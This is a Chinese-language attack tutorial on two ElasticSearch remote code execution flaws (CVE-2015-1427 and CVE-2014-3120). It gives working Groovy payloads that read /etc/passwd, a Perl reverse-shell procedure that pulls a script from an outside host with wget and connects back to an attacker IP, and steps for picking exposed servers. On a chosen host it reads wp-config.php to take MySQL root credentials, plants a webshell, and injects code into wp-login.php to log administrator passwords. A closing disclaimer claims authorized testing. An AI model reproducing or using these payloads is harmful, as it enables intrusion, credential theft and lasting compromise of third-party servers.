ElasticSearch是一个JAVA开发的搜索分析引擎,号称第二最流行的企业搜索引擎,2015年02月17日曾经被曝出过一个远程代码执行漏洞(CVE-2014-3120),今年又爆出一个远程代码执行漏洞(CVE-2015-1427)。
ElasticSearch是一个基于Lucene的搜索服务器,提供了一个分布式多用户能力的全文搜索引擎,基于RESTfulweb接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,Elasticsearch用了两个危险性非常高的脚本引擎MVEL和Groovy,由于搜索引擎支持使用脚本代码(MVEL和Groovy),由于沙盒安全处理不严格导致本次漏洞。
CVE-2015-1427Groovy命令执行漏洞
2015年02月17日,CNNVD公布了ElasticSearch编号为“CVE-2015-1427”的漏洞,官方是这样描述的“Elasticsearchversions1.3.0-1.3.7and1.4.0-1.4.2havevulnerabilitiesintheGroovyscriptingengine.ThevulnerabilitiesallowanattackertoconstructGroovyscriptsthatescapethesandboxandexecuteshellcommandsastheuserrunningtheElasticsearchJavaVM.”(elasticsearch版本1.3.0-1.3.7和1.4.0-1.4.2在Groovy脚本引擎有漏洞。该漏洞允许攻击者构建Groovy脚本逃离沙盒和执行shell命令为用户运行JavaVM的elasticsearch),本次Elasticsearch1.3.0-1.3.7和1.4.0-1.4.2的Groovy脚本引擎存在漏洞。这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令。
1.受影响版本
cpe:/a:elasticsearch:elasticsearch:1.4.2 cpe:/a:elasticsearch:elasticsearch:1.4.0 cpe:/a:elasticsearch:elasticsearch:1.3.7 cpe:/a:elasticsearch:elasticsearch:1.4.0:beta1 cpe:/a:elasticsearch:elasticsearch:1.4.1
2.可利用POC
通过Firefox便携版本的hackbar,允许post提交数据,post提交以下数据即可获取passwd文件信息。对于Windows版本换成windows下的相关命令即可,whoami命令通用。
{size:1,script_fields:{test#: {script:java.lang.Math.class.forName(\java.io.BufferedReader\).getConstructor(java.io.Reade r.class).newInstance(java.lang.Math.class.forName(\java.io.InputStreamReader\).getConstructo r(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\java.lang.Runtime\).ge tRuntime().exec(\cat/etc/passwd\).getInputStream())).readLines(),lang:groovy}}}
3.修复方法
建议用户更新到最新版本,如果不想升级版本也可以通过修改config/elasticsearch.yml的script.groovy.sandbox.enabled为false。
CVE-2014-3120MVEL命令执行漏洞2014年5月,MVEL爆出命令执行漏洞(漏洞编号CVE-2014-3120),ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。漏洞利用方法可以参考文章《elasticsearch漏洞利用工具套装。
1.检测方法
可以在线检测。只检测localhost,不过会输出/etc/hosts和/etc/passwd文件的内容到网页上。
也可以保存以下代码进行检测:
curl-XPOSThttp://localhost:9200/_search?pretty-d { size:1, query:{ filtered:{ query:{ match_all:{} } } }, script_fields:{ /etc/hosts:{ script: import java.util.*;\nimport java.io.*;\nnew java.io.*;\nnew Scanner(new Scanner(new }, /etc/passwd:{ script: import java.util.*;\nimport File(\/etc/passwd\)).useDelimiter(\\\\\Z\).next(); } } }
2.修复方法
关掉执行脚本功能,在配置文件elasticsearch.yml里为每一个结点都加上:script.disable_dynamic:true。通过perl反弹shell
1.准备工作
需要在公网IP准备一个pl的反弹脚本,例如back.pl,可以将脚本文件伪装为jpg文件上传到网站后下载。例如www.antian365.com/lab/linux0day/back.pl.txt,然后依次执行以下命令即可。
(1)本地通过nc监听端口nc–vv–l–p80
(2)被攻击服务器下载back.pl脚本pythonElasticSearch.pyhttp://**********//usr/bin/wget
(3)执行后门反弹命令
pythonElasticSearch.pyhttp://**********//usr/bin/perl/tmp/back.pl123.123.123.12380
说明:
(1)www.weixianmanbu.com为被攻击目标的IP或者域名,IP地址123.123.123.123为公网独立IP,80端口为该服务器未开放端口。
(2)有部分服务器由于未安装perl环境,因此有可能执行命令失败。
2.搜索目标对象
直接访问网站地址即可获取结果。在该结果中可以看到各个国家使用该软件的分布情况,同时单击IP地址右上角的一个小图框连接地址,例如打开地址进行访问,确认该IP地址是否存活。如图1所示。
图1搜索目标对象
3.执行命令
直接执行pythonElasticSearch.pyhttp://192.241.225.207//usr/bin/wget
www.weixianmanbu.com/lab/linux0day/back.pl.txt-p/back.pl命令,但反馈结果为“HTTPError500:InternalServerError”,如图2所示。再次使用FireFox便携版本进行测试,输入目标地址http://192.241.225.207:9200/_search?pretty,在Postdata中输入
{size:1,script_fields: {test#: {script:java.lang.Math.class.forName(\java.io.BufferedReader\).getConstructor(java.io.Reade r.class).newInstance(java.lang.Math.class.forName(\java.io.InputStreamReader\).getConstructo r(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\java.lang.Runtime\).ge tRuntime().exec(\cat/etc/passwd\).getInputStream())).readLines(),lang:groovy}}}
其结果如图3所示,表明该漏洞已经修复或者不可用。
图2执行命令
图3再次测试漏洞是否可用
通过测试多个搜索结果,找到一个还存在漏洞的IP地址192.241.222.40,在0Day出来的第一时间基本每个目标都能执行,每多一分钟就减少一个,直接执行以下代码,成功运行,无任何结果显示,表明文件下载到服务本地成功。
pythonElasticSearch.pyhttp://192.241.222.40:9200//usr/bin/wgetwww.antian365.com/lab/linux0daback.pl.txt-O/tmp/back.pl执行以下命令,成功后会显示“PerlConnect-backBackdoor、Auther:Maple-x”,表明shell执行成功,如图4所示。
pythonElasticSearch.pyhttp://192.241.222.40:9200//usr/bin/perl/tmp/back.pl124.123.122.1180
在本地监听端口过几秒种就会反弹shell回来,执行ifconfig命令,如图5所示,确认反弹shell成功,后续操作就任由发挥了!
图4反弹shell命令成功
图5成功获取shell
获取网站webshell权限
在一些大型企业内部往往部署的比较多,因此在获取某内网权限后,进一步的渗透测试就非常有意义了。上面分析了通过Perl脚本来获取反弹的shell,反弹的shell具有一定的时效性,下面就非perl方面的渗透进行探讨。
1.首先在网站注册一个用户,注册成功后需要通过邮箱进行激活,激活后即可使用。在搜索框中输入关键字进行搜索,如图6所示,结果以topcountries显示查询记录,在早期搜索结果中中国排名第一,后面以美国部署的服务器较多。在结果列表中随机选择一个IP地址,在本例中选择的是国外的IP。
2.通过FireFox便携版本进行漏洞测试
在FireFox便携版本输入地址“http://192.121.xxx.xxx:9200/_search?pretty”,然后单击“LoadUrl”,如图7所示,在PostData中输入以下代码。
{size:1,script_fields:{test#: {script:java.lang.Math.class.forName(\java.io.BufferedReader\).getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\java.io.InputStreamReader\).getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\java.lang.Runtime\).getRuntime().exec(\cat/etc/passwd\).getInputStream())).readLines(),lang:groovy}}}
该代码的目的是读取linux操作系统中的/etc/passwd文件的内容,如果存在漏洞则读取passwd文件内容,反之则说明该漏洞不存在。
图7测试漏洞是否存在
3.查询敏感文件
在Postdata中修改exec(\cat/etc/passwd\)内容为exec(\locate*.php\)、exec(\locate*.sql\)、exec(\locate*.conf\)等以获取敏感文件信息,如图8所示,表明该服务器可能使用php,且cms系统可能为wordpress。
图8寻找系统敏感信息
使用代码以下代码直接获取
wp-config.php
文件所在路径
“/usr/share/nginx/xxxxxxxxxxxxx/wp-config.php”,如图9所示。
{size:1,script_fields:{test#:{script:java.lang.Math.class.forName(\java.io.BufferedReader\).getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\java.io.InputStreamReader\).getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\java.lang.Runtime\).getRuntime().exec(\locatewp-config.php\).getInputStream())).readLines(),lang:groovy}}}。
图9获取wp-config.php的路径
4.定位网站和真实路径
通过执行“cat/usr/share/nginx/xxxxxxxxxxxxx/wp-config.php”来读取该文件内容,如图10所示,获取mysql数据库root账号和密码以及网站域名xxxxxxxxxxxxx.com等信息。通过查看网站所在根目录,还发现有mysql文件备份,通过flashget下载工具将其下载到本地,如图11所示。
图10获取网站域名等信息
图11下载数据库文件
5.获取webshell
通过执行命令:wget-O/usr/share/nginx/xxxxxxa2/__MACOSX/oxxxxxxxa/wp-content/uploads/my.phphttp://www.*******.com/data/cache/2.txt将webshell下载到本地服务器中/usr/share/nginx/xxxxxx2/__MACOSX/xxxxxxxxxxxxx/wp-content/uploads目录,webshell地址http://ocXXXXXx.com/wp-content/uploads/my.php,通过中国菜刀进行连接,如图12所示,成功获取webshell权限。图12获取webshell权限
图13获取wordpress后台管理员密码等信息
还可以在wp-login.php文件中加入密码记录代码,在if(force_ssl_admin()!is_ssl())代码结束处加入记录代码,如图14所示,加入后的代码如下:
//RedirecttohttpsloginifforcedtouseSSL if(force_ssl_admin()!is_ssl()){ if(0===strpos($_SERVER[REQUEST_URI],http)){ wp_redirect(set_url_scheme($_SERVER[REQUEST_URI],https)); exit(); }else{ exit(); } } $userip=$_SERVER[REMOTE_ADDR]; $username_password=$_POST[log].----xxxxx----.$_POST[pwd]. .userip:.$userip.\r\n; $hellowp=fopen(./wp-content/plugins/d.txt,a+); $write=fwrite($hellowp,$username_password);
定期访问,即可获取管理员登录密码等信息。
图14记录wordpress密码代码
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。